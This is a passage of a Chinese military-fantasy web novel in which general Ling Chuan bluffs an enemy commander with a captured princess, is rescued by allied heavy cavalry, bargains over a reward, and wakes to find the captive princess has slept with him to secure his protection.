博尔术缓缓抬手,令亲兵队在距对方约六百步的距离停下,这是一个既能保持威慑,又相对安全的距离。 随即,他独自上前,在对方军阵三百步之外驻足。 “我乃大胡羯帝国南征军左先锋,博尔术!”他声如洪钟,穿透旷野,“前方何人领兵?报上名来!” 只见对方军阵中,一骑越众而出,来到他面前百步之外停下,马背上是一名异常年轻的将领,身姿挺拔,即便面对他这位沙场悍将,依旧从容不迫。 “大周云州副将,凌川!”清朗的声音清晰地传来。 凌川!果然是他! 博尔术眼中闪过一抹极其复杂的异色,对于这个近半年声名鹊起、让胡羯大军在上次交战中损失惨重的传奇人物,他早有耳闻,也曾无数次想象过对方的模样。 只是没想到,真人竟比自己预想中还要年轻,而那份沉静的气度,却远超其年龄。 此刻,他无心感慨,直接切入最核心的问题,声音陡然转厉:“凌将军!我且问你,公主殿下此刻在何处?” 凌川面对这位凶名赫赫的胡羯悍将,内心不敢有丝毫怠慢与小觑,但脸上却维持着极致的镇定。 “你家公主殿下安然无恙,就在我身后的军中!”凌川据实以告,随即朝身后招了招手。 只见孟钊与沈珏二人,押着被反缚双手的拓跋青鸾和朝鲁,从阵中策马行至凌川身侧稍后的位置。 拓跋青鸾并未如寻常俘虏般惊慌呼救,她只是静静地坐在马背上,微微扬着下巴,带着几分骄傲。 这份超乎常人的镇定,让博尔术心中稍安,至少从表面看,公主并未受到虐待。 “凌将军,开出你的条件!要如何才肯释放公主殿下?”博尔术压抑着怒火,沉声问道。 凌川嘴角勾起一抹淡淡的、却让人捉摸不透的笑意:“将军不必心急!待我大军安然返回云州之后,自然会恭送公主殿下归来。” “你们中原人的狡诈之名早已传遍草原,你觉得我会信你?”博尔术目光骤然变冷,如同冰刃。 “将军似乎并没有其他选择,除非……”凌川轻笑一声,目光看似随意地扫过一旁的拓跋青鸾,“除非,你决意不顾公主的死活!” 博尔术脸上看不到丝毫慌乱,反而浮现出一抹决绝意味的冷笑:“凌将军,你或许打错了算盘。公主殿下乃大汗亲妹,代表的是帝国的无上尊严!与其让她流落异邦,受尽屈辱,不如让尔等全军,在此地为公主殿下壮烈殉国陪葬!” 只见他单手抱肩,对这拓跋青鸾行了一礼,随即用一种近乎悲壮的语气高声说道:“公主殿下!您身份尊贵,关乎帝国颜面!若事不可为,请恕末将无礼!末将必将眼前所有周寇斩尽杀绝,为您殉葬!更会亲率大军,踏平云州,让万千周人为您血祭!最后,末将定会亲赴汗庭,在大汗面前自刎谢罪!” 这番话掷地有声,充满了草原勇的刚烈与决绝,仿佛他个人生死在公主的清誉与帝国利益面前,根本不值一提。 然而,拓跋青鸾的反应却再次出乎他的意料,只是淡淡地回应了一句:“全凭将军决定!” 她的脸色依旧平静得可怕,宛如一潭深不见底的湖水,仿佛讨论的不是自己的生死。 这份超乎年龄的冷静,不知是彻底绝望的死心,还是与生俱来的皇族傲骨。 博尔术眼神微不可察地闪烁了一下,随即再度看向凌川,语气带着压迫:“凌将军,若你想凭此要挟于我,恐怕你的算盘要落空了!” 凌川脸上依旧是一片令人费解的淡然,他仿佛没有听到博尔术的威胁,反而抛出一个看似不相干的问题:“博尔术将军,你乃拓跋元帅麾下肱骨,纵横沙场十余载,经验远胜于我!那么依你看,我凌川为何仅凭这两千疲敝之师,就敢在此地拦截您的万人大军?” 博尔术闻言,眼底的疑虑之色瞬间加深,如同迷雾笼罩,他死死盯住凌川,试图从那平静的面容下找出蛛丝马迹。 凌川不等他回答,便继续用一种近乎闲聊般的语气淡然笑道:“不妨实话告诉将军,此次出击,洗劫塔拉马场只是个诱人的幌子,而俘获贵国公主殿下,更是计划之外的惊喜。从一开始,我方真正的目标,就是将军你,以及你麾下的这支主力精锐!” 第一卷 第305章 龙夔骑来援! 博尔术的目光骤然缩紧,眉心那三道如竖眼般的皱纹因极度专注而显得更加深刻骇人。 他死死盯着凌川,试图看穿那双平静眼眸背后,究竟是虚张声势,还是藏着致命的陷阱。 忽然,博尔术的嘴角重新勾起那抹冰冷的、带着审视意味的冷笑,他缓缓举起手中那条象征着公主身份的白玉蹀躞带。 “凌川,你当我是三岁孩童吗?若你们真在此地设下重伏,意在吞掉我这一万人,又何必多此一举,先将如此重要的信物送来?” 博尔术一语中的,瞬间撕开了凌川处心积虑布下的疑阵,让其苦心构置的陷阱,赤裸裸地暴露在光天化日之下。 尽管精心编织的恐吓被对方轻易拆穿,凌川脸上却依旧维持着一片令人捉摸不透的轻松。 事到如今,他已无计可施,唯有硬着头皮将这出戏硬着头皮演下去。 或者说,他是在进行一场惊天豪赌,赌博尔术内心深处,不敢真正无视拓跋青鸾的死活! 然而,博尔术显然比他想象的更为老辣果决。 只见这位胡羯悍将毫不迟疑地勒转马头,退回亲兵队伍的严密护卫之中。 紧接着,后方地平线上传来沉重而密集的马蹄声,如同酝酿中的雷暴,他的一万主力铁骑,已然接到命令,正开始向前推进,黑压压的军阵带着毁灭一切的气势碾压过来! 凌川见状,知道虚张声势已然无用,便与孟钊、沈珏几人缓缓退回本阵。 既然唬不住,那便唯有用手中战刀,与敌人战至最后一息。 就在这时,苍蝇悄然凑近,声音压得极低,带着一丝决绝:“将军!形势危殆!请让属下率亲兵队的弟兄们护送您撤离吧!” 凌川猛地转过身,冰冷的目光如刀锋般刮过苍蝇的脸庞,声音森寒得没有丝毫温度:“若以后再让我听到这种混账话,我亲手斩了你!” 很快,那一万胡羯铁骑已如一片无边无际的沉重黑云,压至数里之外。 即便相隔如此之远,那森然铁甲带来的磅礴压迫感,以及凛冽如冰原寒风的杀气,已扑面而来,令人窒息。 “唰!” 凌川毅然拔出了腰间的苍生战刀,森寒的刀光流转,一股逼人的寒意自刀身弥漫开来。 他目光如炬,死死盯着前方那逐渐逼近、仿佛能吞噬一切的万骑洪流,眼神中没有半分怯懦,唯有赴死的决然。 “兄弟们!”凌川的声音陡然拔高,清晰传入每一名士兵耳中,盖过了远方闷雷般的蹄声,“兄弟们,看来,咱们是回不去了!这片陌生的草原,就是你我的埋骨之地!告诉我,你们——怕是不怕?” “不怕!” “不怕!!” “不怕!!!” 身后,两千余名将士的怒吼声汇聚成一股惊雷,整齐划一,声震四野。 那声音里没有恐惧,只有金铁般的意志和与敌偕亡的冲天杀气,宛如无数刀剑齐齐出鞘震颤! “好!”凌川声如惊雷,炸响在旷野之上,“那今日,便抛开生死,痛痛快快地杀他一场!让北系军的同袍们知道,我云州儿郎,没有孬种!让这些胡贼牢牢记住,我大周边军的脊梁,从未弯折,傲骨犹存!” 面对即将到来必死之局,所有云州军士兵的脸上竟看不到半分惧色。 一张张被风霜刻满痕迹的面容冷峻如铁,一双双眼睛燃烧着坚毅的火焰。 他们只是沉默而熟练地再次检查手中的破甲弓,默默抽出一支支冰冷的三棱铁箭,轻轻搭在弓弦之上,动作沉稳得令人心颤。 被缚于阵中的朝鲁与拓跋青鸾,亲眼目睹了这一幕,内心所受的冲击无以复加。 他们素来听闻周军孱弱,尤其在野战中对上胡羯铁骑,往往一触即溃,唯有被屠杀的份。 可为何眼前这支军队,却与他们认知中的周军截然不同?这些士兵眼神锐利如鹰,动作沉稳老练,即便明知是飞蛾扑火、十死无生,竟无一人眼神闪烁,无一人步伐后退。 那股全军上下同仇敌忾、视死如归的决然气势,竟凝聚成一种令人心悸的可怕力量! 朝鲁虽然两日前已亲身领教过这支军队的厉害,但当时他一心只想着护送公主突围,感受远不如此刻作为旁观者这般直观和震撼。 与此同时,苍蝇眼中闪过一抹决绝,悄然对身后的亲兵下达了一条死命令:‘死在主将之前的亲兵是荣耀,若死在主将之后则是耻辱,是罪人!’ 肃杀之气弥漫天地,大战一触即发。 然而,就在此时…… 一骑快马从后方疾驰而来,马蹄溅起滚滚烟尘。 来者正是陈谓行麾下的一名斥候标长,他脸上带着极度的兴奋与激动,声音因激动而嘶哑变形,却用尽全力嘶吼出声: “将军!援军!是援军到了!龙夔骑到了!” 听到这话,博尔术不屑一笑,只当是凌川依然不死心,试图以此来吓退他,可这伎俩未免太不入流了。 “轰隆隆……” 忽然,东面传来一阵阵沉重的马蹄声,仿佛地面都在随之颤抖。 博尔术神色顿时一变,一股不安的情绪涌上心头。 他猛然抬头望去。 只见后方旷野之上,兵甲如林,旌旗蔽空! 一支规模庞大的重骑兵,正以排山倒海之势向前推进,其行军带来的沉重马蹄声整齐划一,如同远古巨神的战鼓擂动,震得脚下的大地都在微微颤抖! 队伍最前方,一面大旗迎风猎猎狂舞,旗面上一个遒劲有力的‘楊’字,在阳光下熠熠生辉,昭示着这支军团的身份。 大周北系军两大王牌重骑之一,与虎贲骑齐名的绝对主力——龙夔骑! 见到龙夔骑的旗帜赫然出现在战场,原本志在必得的博尔术,眼中猛地闪过一抹极大的惊愕与凝重。 对于这支装备精良、训练有素的重骑兵,他自然绝不陌生。 不久之前,他还在老龙口与之交过手,双方激烈厮杀、互不退让,最终互有死伤,算是平分秋色。 尽管他打骨子里蔑视周军,但对于龙夔骑的主将杨烬旗,他却不敢存有丝毫小觑之心。 放眼整个大周北系军,杨烬旗是极少数能被他博尔术视为真正对手、值得全力以赴的劲敌。 第一卷 第306章 劫后余生! 此刻,尽管他的一万主力精骑已然全部压上,但当看到龙夔骑那如山岳般沉稳、如洪流般不可阻挡的军阵现身时,博尔术不得不接受一个残酷事实。 此次行动,失败了! 不仅无法如愿吃掉凌川这块已经到嘴边的肥肉,救回公主殿下无望,连那被劫走的两万多匹战马,也注定无法截回。 甚至于…… 面对全员重甲、来势凶猛的龙夔骑,自己这一万轻骑兵能否从其铁蹄下全身而退,都已然成了一个未知数。 在如此开阔的地形下,轻骑兵正面硬撼同等数量的重甲骑兵,无疑是一场灾难。 尽管龙夔骑及时来援,但博尔术这名经验丰富的沙场老将一眼便看出,这支重骑兵并非如凌川之前暗示的那样早已设下埋伏。 他们分明是经过长途疾驰赶来救援,甚至凌川本人事先都可能不知情。 否则,龙夔骑应当从侧翼或后方发动突袭,而非从正面现身。 身后传来的沉重马蹄声在云州军心中激起了巨大的波澜,原本已经做好牺牲准备的将士们,此刻重新燃起了希望。 得知援军抵达的消息,所有人内心震动,但严格的军纪让他们克制住了回头的冲动。 他们依然保持战斗姿态,目光紧紧锁定前方的敌人,然而,那份绝处逢生的喜悦与激动,却已然不受控制地跃然脸上。 凌川紧绷的心弦终于放松下来,他原本已经下定决心殊死一战,万万没有料到在这千钧一发之际,战局竟会出现如此转机,强援如天降神兵般及时赶到。 一万龙夔骑携着漫天烟尘奔腾而至,主将杨烬旗却带着亲兵队伍径直来到凌川阵前。 “博尔术,你这左先锋大将难道只会欺负小娃娃吗?”体型精瘦矮小、肤色黝黑,双目如鹰隼般锐利的杨烬旗冷声问道。 博尔术面色阴沉,淡淡回应:“战场上只有敌我之分,谈不上以大欺小!” 杨烬旗闻言放声大笑,提起手中那杆与他瘦小身形极不相称的玄铁大戟,直指对面的博尔术:“既然如此,今日杨某说不得也要欺负你一回了!” 见对方如此张扬,博尔术心中升起一股怒火,喝道:“杨烬旗,休要猖狂!胜负尚未可知,真要开战,鹿死谁手还未见分晓!” “你们胡羯嚣张了这么多年,老子今天嚣张一次你就受不了了?”杨烬旗将大戟扛在肩上,狭长的眼中闪动着锐利的光芒,“要打吗?老子奉陪到底,今日我这一万龙夔骑要是不把你打得哭爹喊娘,老子亲手把脑袋摘下来给你当酒壶!” 说罢,杨烬旗高举手中大戟,厉声喝道:“龙夔骑,准备冲锋!” 一声令下,肃杀之气顿时弥漫开来。 一万龙夔骑迅速整队,准备发起冲阵,甲士们紧握战戟,目光凌厉地锁定前方的胡羯军阵。 博尔术面色铁青,狠狠瞪了杨烬旗一眼,终于下达命令:“撤!” 随着一个撤字出口,也就预示着此次行动彻底失败。 在辽阔的草原上,万人大军掉头无需变换阵型,只需整体绕圈即可。这个看似简单的战术细节,实则能节省大量时间。 加之博尔术率领的是轻骑兵,行动迅捷,若一心撤退,龙夔骑根本无法追上。 至于凌川率领的两千轻骑,经过连日奔波早已人困马乏,在兵力如此悬殊的情况下,若贸然追击,无异于是给对方送人头。 见敌军撤退,杨烬旗嘴角浮现出一丝得意的冷笑:“什么草原铁骑,不过是夹着尾巴逃的丧家之犬罢了!” 他心知自己的龙夔骑不可能追上轻装的敌军,因此并未下令追击,而是调转马头走向凌川。 凌川连忙下马,恭敬行礼:“凌川谢过将军救命之恩!” 杨烬旗将玄铁大戟插在地上,利落地翻身下马,这个动作在他瘦小的身形衬托下,显得有几分突兀。 云州军士兵们见到这一幕,不禁暗自诧异。 在他们想象中,威震北疆的龙夔骑主将应当是魁梧雄壮的猛将,没想到竟是这般精干矮小的模样,还使用一杆与他体型极不相称的大戟。这种反差让人颇感意外。 然而,没有人敢表露这种想法,更无人敢小觑这位将军。 龙夔骑的威名,是杨烬旗一手打出来的,这样的将领,岂能以貌取人? “小子,这次你可欠了我一个天大的人情啊!”杨烬旗笑着走向凌川,重重一掌拍在他肩上。 凌川郑重颔首:“救命之恩大于天,凌川没齿难忘!” 两人简短交谈后,杨烬旗神色一正,说道:“事不宜迟,我们得尽快动身返回!” 凌川闻言一怔,立即追问:“莫非还有敌军来袭?” 杨烬旗摆了摆手,解释道:“那倒不是,只是我为了及时救援,率领一万大军轻装疾行,未曾携带粮草,若不尽早返回,恐怕大军要饿死在关外了。” 凌川这才放下心来,随即派人火速赶往高平县,让余生为龙夔骑准备粮草。 返程途中,凌川与杨烬旗并辔而行,相谈甚欢。 “小子,我不得不佩服你的胆识!”杨烬旗向他投去赞赏的目光,“这些年来,打塔拉马场主意的人不在少数,但你是第一个敢真正动手的,也是唯一一个成功的!” 凌川苦笑一声,回应道:“若不是将军及时来援,我这次就是偷鸡不成反蚀把米。不仅会成为北系军的笑柄,更要成为千古罪人了!” 杨烬旗朗声笑道:“我不过是锦上添花罢了!就算龙夔骑不来,也会有其他援军,你能独自将马群带到边关百里之内,已经算是成功了!” 凌川从这句话中敏锐地捕捉到了关键信息。 显然杨烬旗是奉命前来救援,而在北疆地界,能调动龙夔骑的,除了大将军卢恽筹之外,再无第二人。 当初他没有请示节度府就擅自行动,一方面是时间紧迫,等不起层层批复。 另一方面也是预料到节度府很可能会否决这个大胆的计划,所以他干脆来了个先斩后奏。 但若无节度府派兵接应,这个计划的风险将更为巨大,即便成功将马群带回关内,也极有可能招致胡羯大军不惜代价地猛攻云州边关。 因此他在行动前,故意将消息在云州高层将领中散播,目的就是借某些人之口将消息传给大将军。 第一卷 第307章 安全撤回! 虽然他不能确定大将军的态度,也不知道是否会有援军,但现在看来,他显然是赌对了! 而且他也揣摩过,就算大将军愿意出兵接应,也绝不会深入塔拉草原。 换言之,前半段路程全靠他自己,只有让大将军看到成功的希望,才会出手相助,若是一开始就身陷塔拉马场,北疆绝不会出兵相救。 作为全军统帅,大将军必须通盘考虑全局,而非计较一城一地的得失,或某个人、某场战斗的成败。 “你是不是在想,我为何不趁势歼灭博尔术那一万骑兵?”杨烬旗侧目看向凌川,突然问道。 凌川微微一笑,道:“将军既未下令全力追击,必定有其道理!” “哦?”杨烬旗略显意外,“那你倒是说说,是何道理?” 凌川略作思索,从容答道:“据我推测,原因不外三点。其一,大将军并未下令开战,或者说,北系军目前尚未做好全面开战的准备!” 他不动声色地看了杨烬旗一眼,继续说道:“其二,龙夔骑作为重甲军,对阵博尔术的轻骑兵,各有长短。若双方死战,龙夔骑自然胜算更大。但对方如果一心想走,龙夔骑很难追上。若是博尔术采用‘放风筝’战术,待龙夔骑战马力竭后再杀一个回马枪,后果将不堪设想!” “你分析得很透彻!”杨烬旗点头表示认可,又追问道:“那第三点呢?” “至于第三点……”凌川笑了笑,“方才将军也提到了,龙夔骑未带粮草。一旦开战,必须以雷霆之势击溃敌军,若不能速战速决,必将因补给不足而陷入困境。更重要的是,若此时敌军援兵赶到,龙夔骑必将陷入绝境。” “不愧是老伍长看重的人!”听完凌川这番分析,杨烬旗不禁由衷赞叹。 凌川笑了笑,解下腰间干瘪的酒囊递给杨烬旗。对方接过饮了一口,立即赞叹道:“还是这狼血够劲,这才是男子汉该喝的酒!” “将军若是喜欢,以后每月我派人送几坛到府上。”凌川笑着提议。 “诶,你小子少来这套!”杨烬旗连忙摆手,“韩惊虎才跟我说过,你浑身都是心眼子,别想用几坛酒就收买我!出发前大将军特意交代,只要你还有半口气,就把你绑回节度府去!” 凌川报以苦笑,对于事后会受节度府责罚这一点,他早有预料。 但在他看来,只要成功将战马带回云州,那点惩罚不值一提。 眼下虽震退了博尔术的万骑大军,却远未到高枕无忧之时,只要一只脚没有踏入关内,危险便没有解除。 凌川不敢有丝毫懈怠,依旧将斥候撒出方圆三十里探查情况,同时命柳衡率一千轻骑协助陈谓行驱赶马群,必须在日落前全部退回关内。 有杨烬旗的龙夔骑护卫左右,最后几十里路总算相安无事。 日头西沉时,两万余战马连同大军悉数退入云州高平县。 刚入关,还未及下马,早已候在关内的余生与洛青云便急步迎上,见凌川安然无恙,两人一直悬着的心才重重落下。 为策应此次行动,凌川早前便令洛青云暂停练兵,率部前来高平接应。 幸而此前已命余生在此督建军营,虽未完全竣工,却好歹能让疲惫不堪的将士们有个遮风避雨之所。 “伙食可都备好了?”凌川哑声问。 “将军放心,弟兄们的饭食、战马的草料,早已备足!”余生立刻回话。 “都累垮了,让大家吃完立刻回营休整!”凌川拍了拍他肩膀,声音里带着难以掩饰的疲惫,“今夜防务,就交由你二人了,非常时期,需多加警惕!” 洛青云与余生当即挺胸应道:“将军放心去歇着!有我俩在,绝误不了事!” 此刻,无论是人是马,皆已筋疲力尽。 关外时神经始终紧绷,尚能硬撑,一旦入关,那积压的疲惫便如决堤洪水般汹涌袭来,众人狼吞虎咽后,几乎都是拖着身子挪进军营倒头就睡。 而凌川、柳衡、赵襄、卫敛等人,则与杨烬旗以及龙夔骑几名校尉聚于校尉府中饮酒。 “小子!”杨烬旗一碗酒下肚,目光灼灼地看过来,“关外说的不忘大恩,可还作数?” “自然作数!”凌川点头,“我凌川向来一口唾沫一个钉!” “好!要的就是你这句话!”杨烬旗大笑,随即凑近些,压低声音,“我看你从塔拉马场弄回来的那些马不错,回头哥哥我让人去挑些带走,如何?” 凌川闻言,眉梢微动,随即笑道:“将军,您这算盘打得……可不甚高明啊!” 杨烬旗面色一凝,直觉这小子要耍花招:“嗯?刚说出口的话,这就要反悔?” “将军误会了!”凌川连忙替他斟满酒,赔笑道,“您救我及数千弟兄性命,几匹马何足挂齿?只是……您若真要了马,怕是做了笔亏本买卖!” “亏本?”杨烬旗动作一顿,酒碗停在嘴边,“何以见得?” 凌川也凑近几分,声音压低,“将军你想想,龙夔骑在北系军中是什么地位?那是卢帅的心头肉!他宁可别的军队光着膀子,也断不会让龙夔骑的弟兄穿破裤衩!” 他不动声色地瞥了杨烬旗一眼,继续道:“这些年,北境七州无论哪个马场出了好马,皆是你们几支王牌先挑,其他兄弟也就捡点烂菜剩饭吃!” 杨烬旗一听,顿时不乐意了:“嘿!你小子这话怎么这么难听呢?” 凌川满脸笑容,示意杨烬旗别急,“嘿嘿……我原本是给将军备了一份厚礼,既然将军一心要战马,那也没问题!” “你小子,不会又耍什么花招吧?”杨烬旗警惕地问道。 “哪儿能呢!”凌川拍着胸脯保证道:“想必将军也知道,我前不久把云州那些世家门阀抄了个底朝天,府库中也算是小有积蓄,我本想着,将军帮我这么大的忙,怎么也得真金白银感谢一下!” 只见他伸出五根手指,旋即又像意识到什么,迅速曲回两根手指,说道:“我原本让人准备了三万两白银,外加五万石军粮,算是给龙夔骑兄弟们的辛苦费!” 这话一出,不仅杨烬旗,连他身旁几位龙夔骑校尉的眼睛都亮了起来。 第一卷 第308章 如醉如梦! 凌川却话锋一转,叹气道:“可惜啊!将军看不上这铜臭之物,只爱战马!但您想过没有?若此时从我这儿拔走了马,回头节度府给各军统一更换战马时,龙夔骑还能分到多少?” “嘶……” 杨烬旗下意识倒吸一口气,仿佛被点醒。 凌川所言非虚,若此刻拿了凌川的马,节度府面上不会说什么,但下次分配时,玄影骑、虎贲骑还能让龙葵去与自己平分? 在卢帅眼里,北境七州所有资源皆属节度府,岂容你私下截留? 更何况,北系军战马紧缺的情况,已经存在了近百年,自当初胡羯人打过阴山之后,阴山以南那片辽阔而肥沃的马场便一直被胡羯人牢牢把控,就算是大将军也束手无策。 杨烬旗眼中闪过犹豫,凌川尽收眼底,却佯装未见,自顾自喝酒:“今日奔波劳顿,将军也早些歇息。明日您亲自去挑几千匹成年战马,兄弟我绝无二话!” “别!别别别……”杨烬旗连忙按住欲起身的凌川,“我细想了一下,底下兄弟们许久未见赏银了。你这次弄回来的马多数未曾驯服,弄回去还得费工夫驯马,太麻烦!” 他端起酒碗,嘿嘿一笑:“我看,还是银子和军粮实在!” 见凌川故作犹豫,杨烬旗笑骂:“行了小子,再演可就过了啊!” “哈哈哈……” 众人又饮了两坛烈酒,终究抵不住疲惫,各自散去歇息。 凌川确是身心俱疲,这三日他加起来也就睡了几个时辰,作为全军主将,不仅要临阵指挥,更须时刻权衡谋划,每一道命令都关乎生死。精神与体力的双重消耗,已近极限。 加之酒意上涌,他脚步虚浮,踉跄着回到住所。 两名士兵守在门外,见他到来立即行礼:“将军!” 凌川认出是卫敛的部下,皆满脸倦容。他摆了摆手:“去睡吧,这里不用守了,都去睡觉。” 二人面露难色:“将军,校尉命我等守上半夜,下半夜再换岗……” 凌川眉头一蹙,故意板起脸:“怎么?我的命令不如卫敛的好使?快滚!在这云州地界,还能出什么乱子不成?” 见二人仍在迟疑,他又补了一句:“告诉换岗的兄弟,也不必来了,免得扰我清梦!” “是!将军!”二人这才领命离去。 见人走了,凌川嘴角刚扯出一抹笑意,便忍不住打了个酒嗝。 他在门外撒了泡尿,踉跄进屋,也懒得点灯,摸索着扯掉外袍靴子,一头栽倒床上,几乎是瞬间便陷入了沉睡。 这一夜,整个高平县鼾声如雷。 数千云州军卒疲乏已极,说是雷打不醒亦不为过,龙夔骑虽未连日奔袭,但清晨疾驰八十里奔袭,又全身重甲护卫队伍撤离,体力消耗巨大,此刻也皆沉入梦乡。 浑噩之中,凌川感觉有人在替他宽衣,一双微凉的手动作略显笨拙,却带着不容拒绝的坚持。 接着,一具温软馨香的身躯贴了上来,手臂环住他。 凌川太累了,眼皮重若千钧,思绪如同陷入泥沼,挣扎不动。 潜意识里,他以为自己身在云州将军府,身旁是妻子苏璃。只是今日的‘苏璃’似乎与往日不同,少了那份惯常的羞涩推拒,反而异常主动,带着一种近乎急切的索求,仿佛压抑已久的情感骤然决堤。 他在半梦半醒间被动回应,身体遵循着本能。 一番混沌纠缠后,他揽着怀中人再次沉沉睡去。 不知过了多久,那扰人的触碰再次袭来,细微的动作,压抑的低喘,断断续续…… 他在深眠的边缘被反复搅动,几次意识模糊地想要醒来,却被沉重的疲惫死死拖回梦境深处。 直至次日午时,强烈的感官刺激终于将他从沉睡深处强行拽出,床榻剧烈地晃动,一声清晰娇喘冲入耳膜,同时他自己也不受控制地一阵战栗。 他猛地睁开眼! 一片细腻光滑的小麦色肌肤猝不及防撞入视野,正随着急促的呼吸紧贴着他压下。 “嗡!!!” 凌川只觉脑中惊雷炸响,全身血液似乎瞬间凝固。 他僵在原地,双目圆睁,连呼吸都忘了。 虽只惊鸿一瞥,他已看清怀中人的面容,竟是胡羯公主,拓跋青鸾! 他狠狠一咬舌尖,剧痛传遍全身,神智骤然清醒。 目光垂下,只见彼此衣衫凌乱,不堪入目,床榻间一片狼藉。 昨夜那些破碎、香艳、混乱的‘梦境’碎片疯狂涌入脑海,拼接出令人心惊肉跳的真相。 天旋地转! 他只觉得浑身冰冷,血液逆流。 怎么会是她?她怎么会出现在这里?自己昨夜究竟都做了些什么? 也不知过了多久,凌川感觉自己胸口快要被压得喘不过气来,可意识却愈发清醒。 “那个……我去方便!”凌川喉咙干涩,声音嘶哑得几乎难以辨认。 “嗯!”怀中的女子轻轻应了一声,随即从他身上翻下。 身体的分离带来一阵细微的战栗。 凌川几乎是狼狈地翻身下床,胡乱抓起衣衫套上,夺门而出。 从茅房出来后,他在院中呆立良久,随即从井里打来一桶冷水,将整张脸深深埋入水中。 冰冷的井水中释放的寒意瞬间包裹而来,却仍难以浇灭他心头的纷乱。 除了对苏璃深深的愧疚,更多深层次的问题攫住了他,仿佛有一根无形的绳子套在他的脖子上,越缩越紧。 对方若只是一个普通身份也就罢了,可她是胡羯帝国的公主,是胡羯可汗拓跋青霄一母同胞的妹妹,而自己却把她给睡了。 不,更准确地说,她把自己给睡了! 此事一旦泄露,‘通敌’的罪名必将如野火般烧遍北境。 届时,任何解释都将苍白无力,卢恽筹会怎么想?朝廷还会允许他执掌兵权吗?若是自己没了兵权,不用别人动手,那些世家门阀便会露出獠牙,扑上来把自己啃食得骨头都不剩。 “呼……” 凌川猛地从水桶中抬起头,冰冷的水珠顺着发梢脸颊滚落,他大口喘息着,试图压下心中那如烈火焚烧的思绪。 用力抹去脸上的水渍,他整理好衣袍,深吸一口气,再次推门而入。 第一卷 第309章 为了活着! 拓跋青鸾已穿戴整齐,正坐在床沿。 见他面色阴沉地进来,她非但不惧,唇角反而扬起一抹明媚又带着几分野性的笑意。 平心而论,她极美,不同于于中原女子的温婉含蓄,而是一种极具侵略性的美,如同草原上最烈性的骏马,奔放、率性、无所拘束。 小麦色的肌肤光滑紧致,深邃立体的五官在晨光中显得格外分明,尤其那双湛蓝色的眼眸,像是蕴藏着塞外最神秘的湖泊,此刻正肆无忌惮地打量着他。 她缓缓披上那件鹰隼纹赤狐袍,将身姿衬托得更为挺拔,尤其是那双随意交叠的修长双腿,充满了力量与美感。 “咯咯咯……”一阵银铃般清脆的笑声打破了屋内的沉闷。 拓跋青鸾歪着头,眼神大胆而直接,话语里带着赤裸裸的挑逗和毫不掩饰的赞赏:“将军果真……神勇非凡!我算是领教到了!” 她的中原话竟说得十分流利,仅略带一丝奇异的腔调。 凌川无暇讶异她的语言,也无心理会她话语中的双关,声音低沉而冷硬:“你怎么会在这里?” 拓跋青鸾慵懒地向后靠了靠,“自然是你的部下,把我关在这里的呀!” 凌川几乎是咬着牙,强压怒火,“我是问,你怎么会在我的床上!” 蓝眼睛里闪过一丝不满,像是被冒犯了的猫,“你们中原人总自诩礼仪之邦,说我们草原儿女是未经教化的蛮夷。可你这般凶神恶煞,就是你们的礼仪吗?” 她扯了扯华丽的袍子,语气忽然变得直白而锐利,甚至带着一丝破罐破摔的决绝:“我不过是你掳来的战利品,现在,连人都是你的了,你若觉得我会给你带来麻烦,动手杀了我便是!何须如此大发雷霆?” 就在方才,凌川的心底确实动过杀意,因为这是最简单,也是最稳妥的解决办法。 只要杀了她,一切的问题都将迎刃而解,哪怕是昨晚的事情败露,也无非是有人说他凌川道德败坏,但绝不会有人怀疑他通敌。 然而,目光触及她那倔强的脸庞,以及那双湛蓝眼眸深处一闪而过的脆弱,还有那狠话之下或许隐藏的恐惧,凌川内心的一抹柔软被深深触动。 抛开彼此的立场,他们并无深仇大恨,而且,不管昨晚的事情因何发生,哪怕是对方处心积虑的算计,自己完全不知情,但若要让他翻脸无情对其下杀手,凌川也做不到。 他可以冷血无情,但绝不是嗜杀的屠夫。 凌川重重吸了一口气,强行压下翻腾的心绪。他拉过一把椅子坐下,连灌了三杯冷茶,干裂刺痛的喉咙才稍稍缓解。 “朝鲁呢?”凌川换了个问题。 “昨日到了这里,他伤太重,被人抬走了!”拓跋青鸾小声回答,眼神闪烁了一下。 “你怎么会在这里?”凌川再次追问,目光如炬,不容她回避。 “都说了是你的人把我关进来的!”她扬起下巴,带着几分委屈,更多的却是桀骜不驯。 凌川盯着她,问出了最关键的问题:“你为何要这么做?” 少女眼中掠过一丝狡黠,像只得意的小狐狸,笑容变得暧昧而大胆:“如果我说……是因为将军你长得好看,让我一见倾心,你信吗?” 见凌川面色丝毫未变,只是沉沉地看着她,那抹狡黠迅速消散,取而代之的是一种混合着委屈、愤怒和务实求生欲的复杂情绪,声音也低沉下来: “不然呢?等着被当成牲口一样,不知道被哪个、或者哪些人拖去侮辱吗?”两颗晶莹的泪珠毫无预兆地滚落,可她依旧倔强地昂着头,蓝眼睛死死盯着凌川,仿佛将所有不幸都归咎于他。 见凌川看着她,少女更为愤怒,“你瞪着我做什么?难道不是你把我抢来的吗?如果不是你,我怎么会变成阶下囚?” 凌川毫不退避地迎上她的目光,声音冷彻:“那你有没有想过,这些年,有多少大周将士死在胡羯的铁蹄与弯刀之下?有多少大周百姓家破人亡,尸骨无存?他们又该去恨谁?” 拓跋青鸾顿时语塞。 她自幼长于天汗城,关于战争的所有想象,大多来源于史诗般壮丽的传说和臣子们呈上那一封封,书写着赫赫战功的冰冷战报。 在她的想象中,战场就是万军冲杀的壮阔,挥斥方遒的豪迈,她只知道赫赫战功,加官进爵,却从未想过每一场战争背后都是鲜血与死亡,是无数家庭破碎,无数人埋骨边关。 然而,这一次的经历宛如一把刀子,撕开了那层华丽的帷幕,让她窥见了一丝残酷的真实。 凌川也终于明白了她的动机,她爬上自己的床,为的是寻找一个最有力的庇护。 成为自己的女人,无疑是在这敌营中保护自己最有效的方式。 凌川语气严肃至极,每个字都冰冷而生硬,“如果你想活命,就记住我说的每一个字,忘掉昨晚发生的一切,对任何人都绝口不提。只要你安分守己,三个月后,我放你回草原!” “真的?”少女湛蓝的眸子里猛地亮起一簇希望的火苗,急切地望向他。 “我言出必践。”凌川郑重颔首。 …… 离开房间之后,凌川的内心依旧烦乱,索性朝着院外走去。 就在此时,苍蝇带人走了过来,问道:“将军,昨晚没出什么事吧?” 凌川眼底闪过一丝慌乱,不过很快便被他掩饰了起来,故作诧异地问道:“什么事?” “哦,没事……”苍蝇笑道:“昨晚余乐那小子,把那位胡羯公主关在柴房里面,结果换防的时候忘记交代了,我生怕她会对将军不利!” 不利?老子都快被那匹小烈马给榨干了。 